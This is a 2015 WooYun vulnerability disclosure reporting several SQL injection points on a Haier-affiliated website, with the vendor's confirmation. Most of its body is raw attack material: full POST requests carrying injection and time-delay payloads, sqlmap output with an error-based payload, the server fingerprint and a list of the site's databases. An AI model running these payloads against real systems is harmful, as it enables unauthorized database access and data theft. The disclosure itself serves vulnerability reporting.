当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0112042

漏洞标题：海尔某站多处SQL注入打包

相关厂商：海尔集团

漏洞作者： 深度安全实验室

提交时间：2015-05-05 11:09

修复时间：2015-06-22 17:48

公开时间：2015-06-22 17:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：13

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-05： 细节已通知厂商并且等待厂商处理中
2015-05-08： 厂商已经确认，细节仅向厂商公开
2015-05-18： 细节向核心白帽子及相关领域专家公开
2015-05-28： 细节向普通白帽子公开
2015-06-07： 细节向实习白帽子公开
2015-06-22： 细节向公众公开

简要描述：

详细说明：

http://www.itophome.com


#1

POST /productsen.aspx?flag=1 HTTP/1.1
Content-Length: 1729
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.itophome.com:80/
Cookie: haier_back=http://www.itophome.com/usermanage.aspx?flag=7&uid=11; ASPSESSIONIDACTTRQAC=BJAPPIBDLJAEDPEIANDEAJAM
Host: www.itophome.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
ctl03%24btnDelSel=Search&ctl03%24DropDownList1=-1&ctl03%24sid=1&ctl03%24txtbianhao=1&ctl03%24txtTitle=0&sid=&__EVENTVALIDATION=/wEWCwK3yqPhCQLe3fKjDAKVuvvDCAKSuc71AgLL1bEhAr7SurULAsqj%2bdcMAsm2h6kFAs3Nh6oNAq3BsskJAsOZyZUM89NhgMOG1WbXHc7/CIpGx407BaQ%3d&__VIEWSTATE=/wEPDwUKMTYyNjEwNDI3Nw9kFgICAw9kFgICBQ9kFgJmD2QWBgIBDw8WAh4EVGV4dAUIUHJvZHVjdHNkZAIDD2QWBgIBD2QWAmYPZBYCAgUPEGQPFgQCAQICAgMCBBYEEAURYXBwbGlhbmNlIGNvbnRyb2wFEWFwcGxpYW5jZSBjb250cm9sZxAFH2FwcGxpYW5jZSBjb250cm9sIGFuZCBtdXRpbWVkaWEFH2FwcGxpYW5jZSBjb250cm9sIGFuZCBtdXRpbWVkaWFnEAUJbXV0aW1lZGlhBQltdXRpbWVkaWFnEAUFc2FmdHkFBXNhZnR5Z2RkAgIPZBYCZg9kFgICAQ8PFgIfAAUBOWRkAgMPZBYCZg9kFgQCAQ88KwANAQAPFgQeC18hRGF0YUJvdW5kZx4LXyFJdGVtQ291bnQCCWQWAmYPZBYYZg8PFgIeB1Zpc2libGVoZGQCAQ9kFgQCAQ9kFgJmDxUCAjIyDlZpZGVvIFRhbGtiYWNrZAICDw8WAh8ABQoyMDA4LTAzLTI4ZGQCAg9kFgQCAQ9kFgJmDxUCAjIxBVUtQm94ZAICDw8WAh8ABQoyMDA4LTAzLTI4ZGQCAw9kFgQCAQ9kFgJmDxUCAjIwDEhvbWUgZ2F0ZXdheWQCAg8PFgIfAAUKMjAwOC0wMy0yOGRkAgQPZBYEAgEPZBYCZg8VAgIxORZOZXR3b3JrIG1pY3Jvd2F2ZSBvdmVuZAICDw8WAh8ABQoyMDA4LTAzLTI4ZGQCBQ9kFgQCAQ9kFgJmDxUCAjE4E05ldHdvcmsgd2luZSBob2xkZXJkAgIPDxYCHwAFCjIwMDgtMDMtMjhkZAIGD2QWBAIBD2QWAmYPFQICMTcXTmV0d29yayB0b3Atb3BlbiB3YXNoZXJkAgIPDxYCHwAFCjIwMDgtMDMtMjhkZAIHD2QWBAIBD2QWAmYPFQICMTYSTmV0d29yayB0ZWxldmlzaW9uZAICDw8WAh8ABQoyMDA4LTAzLTI4ZGQCCA9kFgQCAQ9kFgJmDxUCAjE0GE5ldHdvcmsgZ2FzIHdhdGVyIGhlYXRlcmQCAg8PFgIfAAUKMjAwOC0wMy0yOGRkAgkPZBYEAgEPZBYCZg8VAgIxMyFOZXR3b3JrIHN0YW5kaW5nIGFpci1jb25kaXRpb25pbmdkAgIPDxYCHwAFCjIwMDgtMDMtMjhkZAIKDw8WAh8DaGRkAgsPDxYCHwNoZGQCAw88KwANAQAPFgIfA2hkZAIHDw8WAh8ABR4gYW5kIGxhbmc9J2VuJyBhbmQgRW5hYmxlZDw%2bMCBkZBgCBQ9jdGwwMyRHcmlkVmlldzIPZ2QFD2N0bDAzJEdyaWRWaWV3MQ88KwAKAQgCAWRGQrk7sKukP3MuC/qSBTtrvb/yQw%3d%3d

ctl03%24txtTitle参数
#2 

POST /products.aspx?flag=1 HTTP/1.1
Content-Length: 1816
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.itophome.com:80/
Cookie: haier_back=http://www.itophome.com/usermanage.aspx?flag=7&uid=11; ASPSESSIONIDACTTRQAC=BJAPPIBDLJAEDPEIANDEAJAM
Host: www.itophome.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
ctl03%24btnDelSel=%e6%9f%a5%20%e8%af%a2&ctl03%24DropDownList1=-1&ctl03%24sid=1&ctl03%24txtbianhao=1&ctl03%24txtTitle=-1'%20OR%203*2*1%3d6%20AND%20000724%3d000724%20--%20&sid=&__EVENTVALIDATION=/wEWCgKn24P8BgLe3fKjDAKVuvvDCAKSuc71AgLfxrXtDQKA7pH6AwKmlvuCAQLNzYeqDQKtwbLJCQLDmcmVDOtQFM7tXoW735F0p7MeZgeH9d3E&__VIEWSTATE=/wEPDwUJOTkzODk1NTg0D2QWAgIDD2QWAgIFD2QWAmYPZBYEAgEPDxYCHgRUZXh0BQbkuqflk4FkZAIDD2QWBgIBD2QWAmYPZBYCAgUPEGQPFgMCAQICAgMWAxAFD%2bWkmuWqkuS9k%2bWoseS5kAUP5aSa5aqS5L2T5aix5LmQZxAFDOWutueUteaOp%2bWItgUM5a6255S15o6n5Yi2ZxAFDOWutuW6reWuiemYsgUM5a625bqt5a6J6ZiyZ2RkAgIPZBYCZg9kFgICAQ8PFgIfAAUCMTBkZAIDD2QWAmYPZBYEAgEPPCsADQEADxYEHgtfIURhdGFCb3VuZGceC18hSXRlbUNvdW50AgpkFgJmD2QWGmYPDxYCHgdWaXNpYmxlaGRkAgEPZBYEAgEPZBYCZg8VAgIxMRjlrrbnlKjml6Dnur/mkYTlg4/ns7vnu59kAgIPDxYCHwAFCjIwMDgtMDMtMjZkZAICD2QWBAIBD2QWAmYPFQICMTAY5ZWG55So5peg57q/5pGE5YOP57O757ufZAICDw8WAh8ABQoyMDA4LTAzLTI2ZGQCAw9kFgQCAQ9kFgJmDxUCATkS5rW35bCU5pm66IO957uI56uvZAICDw8WAh8ABQoyMDA4LTAzLTI2ZGQCBA9kFgQCAQ9kFgJmDxUCATggSETns7vliJflj6/op4blr7norrLlrqTlhoXliIbmnLpkAgIPDxYCHwAFCjIwMDgtMDMtMjZkZAIFD2QWBAIBD2QWAmYPFQIBNx/lj6/op4blr7norrLns7vnu58t5bCP6Zeo5Y%2bj5py6ZAICDw8WAh8ABQoyMDA4LTAzLTI2ZGQCBg9kFgQCAQ9kFgJmDxUCATYP5aSa5aqS5L2T5Lit5b%2bDZAICDw8WAh8ABQoyMDA4LTAzLTI2ZGQCBw9kFgQCAQ9kFgJmDxUCATUe572R57uc5L%2bd5YGl5Y%2bM5Yqo5Yqb5rSX6KGj5py6ZAICDw8WAh8ABQoyMDA4LTAzLTI2ZGQCCA9kFgQCAQ9kFgJmDxUCATQq572R57uc5oyC5byP56m66LCD77ya572R57uc5rCn5ZCn6IGq5piO6aOOZAICDw8WAh8ABQoyMDA4LTAzLTI2ZGQCCQ9kFgQCAQ9kFgJmDxUCATIz572R57uc5p%2bc5byP56m66LCD77ya572R57uc56uL5L2T6aOO5rCn5ZCn6Zmk6I%2bM5YWJZAICDw8WAh8ABQoyMDA4LTAzLTI2ZGQCCg9kFgQCAQ9kFgJmDxUCATES572R57uc5Y%2bY6aKR5Yaw566xZAICDw8WAh8ABQoyMDA4LTAzLTI2ZGQCCw8PFgIfA2hkZAIMDw8WAh8DaGRkAgMPPCsADQEADxYCHwNoZGQYAgUPY3RsMDMkR3JpZFZpZXcyD2dkBQ9jdGwwMyRHcmlkVmlldzEPPCsACgEIAgFkz6YI2iFUG88a4sCgNgLzF//Bh78%3d

c,v,ctl03%24txtbianhao ,ctl03%24txtTitle 参数
#3

POST /mediacenter.aspx?sea=1&v=fzgazM16';%20waitfor%20delay%20'0:0:0'%20--%20 HTTP/1.1
Content-Length: 990
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.itophome.com:80/
Cookie: haier_back=http://www.itophome.com/usermanage.aspx?flag=7&uid=11; ASPSESSIONIDACTTRQAC=BJAPPIBDLJAEDPEIANDEAJAM
Host: www.itophome.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
__VIEWSTATE=/wEPDwUKMTU1MzA4MzM2NQ9kFgICAw9kFgICBQ9kFgJmD2QWBAIBDw8WAh4EVGV4dAUG5paw6Ze7ZGQCAw9kFgQCAQ9kFgJmD2QWAgIBDw8WAh8ABQE1ZGQCAg9kFgJmD2QWAgIBDzwrAA0BAA8WBB4LXyFEYXRhQm91bmRnHgtfIUl0ZW1Db3VudAIFZBYCZg9kFg5mDw8WAh4HVmlzaWJsZWhkZAIBD2QWBAIBDw8WAh8ABVxl5a625L2z6IGU55uf5Li75a%2b855qE4oCc5a625bqt572R57uc5Zu96ZmF5qCH5YeG4oCd5YWl6YCJMjAxMOW5tOW6puihjOS4muWNgeWkp%2baWsOmXu%2bS6i%2bS7tmRkAgIPZBYCZg8VAQMyOTdkAgIPZBYEAgEPDxYCHwAFQ%2ba1t%2bWwlFUtaG9tZeiNo%2biGuuKAnDIwMTDlubTluqbkuK3lm73ljYHlpKfkvY/lroXmmbrog73ljJbkuqflk4HigJ1kZAICD2QWAmYPFQEDMjkzZAIDD2QWBAIBDw8WAh8ABTHmtbflsJRVLWhvbWXmmbrog73lrrblsYXpl6rogIAyMDEw5YyX5Lqs5a6J5Y2a5LyaZGQCAg9kFgJmDxUBAzI5MGQCBA9kFgQCAQ8PFgIfAAVFW%2bS8muWRmOWKqOaAgV3ojIHlo67nvZHnu5zojaPojrfigJwyMDA45bm/5Lic55yB5pyN5Yqh6KGM5LiaMTAw5by64oCdZGQCAg9kFgJmDxUBAzE4OWQCBQ9kFgQCAQ8PFgIfAAUsMTM5NOaWsOagh%2bWHhuWNs%2bWwhuWHuuWPsCDlho3kuIDmrKHmjJHmiJhVU0JkZAICD2QWAmYPFQEDMTc4ZAIGDw8WAh8DaGRkGAEFD2N0bDAzJEdyaWRWaWV3MQ88KwAKAQgCAWS%2bpSnx9FQIlIYltIAOIFEd1TLLmg%3d%3d

v参数

漏洞证明：

跑第一处吧~

1.jpg

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: ctl03$txtTitle
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: ctl03$btnDelSel=Search&ctl03$DropDownList1=-1&ctl03$sid=1&ctl03$txtbianhao=1&ctl03$txtTitle=0%' AND 3444=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(108)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (3444=3444) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(120)+CHAR(107)+CHAR(113))) AND '%'='&sid=&__EVENTVALIDATION=/wEWCwLQk6/pAwLe3fKjDAKVuvvDCAKSuc71AgLL1bEhAr7SurULAsqj+dcMAsm2h6kFAs3Nh6oNAq3BsskJAsOZyZUMqWCrgQz0FbdiOkGGq3L54O1pWCk=&__VIEWSTATE=/wEPDwUKMTYyNjEwNDI3Nw9kFgICAw9kFgICBQ9kFgJmD2QWBgIBDw8WAh4EVGV4dAUIUHJvZHVjdHNkZAIDD2QWBgIBD2QWAmYPZBYCAgUPEGQPFgQCAQICAgMCBBYEEAURYXBwbGlhbmNlIGNvbnRyb2wFEWFwcGxpYW5jZSBjb250cm9sZxAFH2FwcGxpYW5jZSBjb250cm9sIGFuZCBtdXRpbWVkaWEFH2FwcGxpYW5jZSBjb250cm9sIGFuZCBtdXRpbWVkaWFnEAUJbXV0aW1lZGlhBQltdXRpbWVkaWFnEAUFc2FmdHkFBXNhZnR5Z2RkAgIPZBYCZg9kFgICAQ8PFgIfAAUBMGRkAgMPZBYCZg9kFgQCAQ88KwANAQAPFgQeC18hRGF0YUJvdW5kZx4LXyFJdGVtQ291bnRmZGQCAw88KwANAQAPFgIeB1Zpc2libGVoZGQCBw8PFgIfAAVvIGFuZCBjaGFuZ2ppYSBsaWtlICclMSUnIGFuZCBsYW5nPSdlbicgYW5kIEVuYWJsZWQ8PjAgIGFuZCBwcm9kdWN0TmFtZSBsaWtlICclMCUnIGFuZCBsYW5nPSdlbicgYW5kIEVuYWJsZWQ8PjAgZGQYAgUPY3RsMDMkR3JpZFZpZXcyD2dkBQ9jdGwwMyRHcmlkVmlldzEPPCsACgEIZmS/Vwae9zEHXwS7GZM1kQP0gTo2Ww==
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
available databases [12]:
[*] DDXT
[*] ddxtcs
[*] itophome
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] seas
[*] Soft_HaierUHome_com
[*] tempdb
[*] www_haiermedical_terminal

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-05-08 17:47

厂商回复：

感谢乌云平台白帽子的测试与提醒，我方已安排人员进行处理

最新状态：

暂无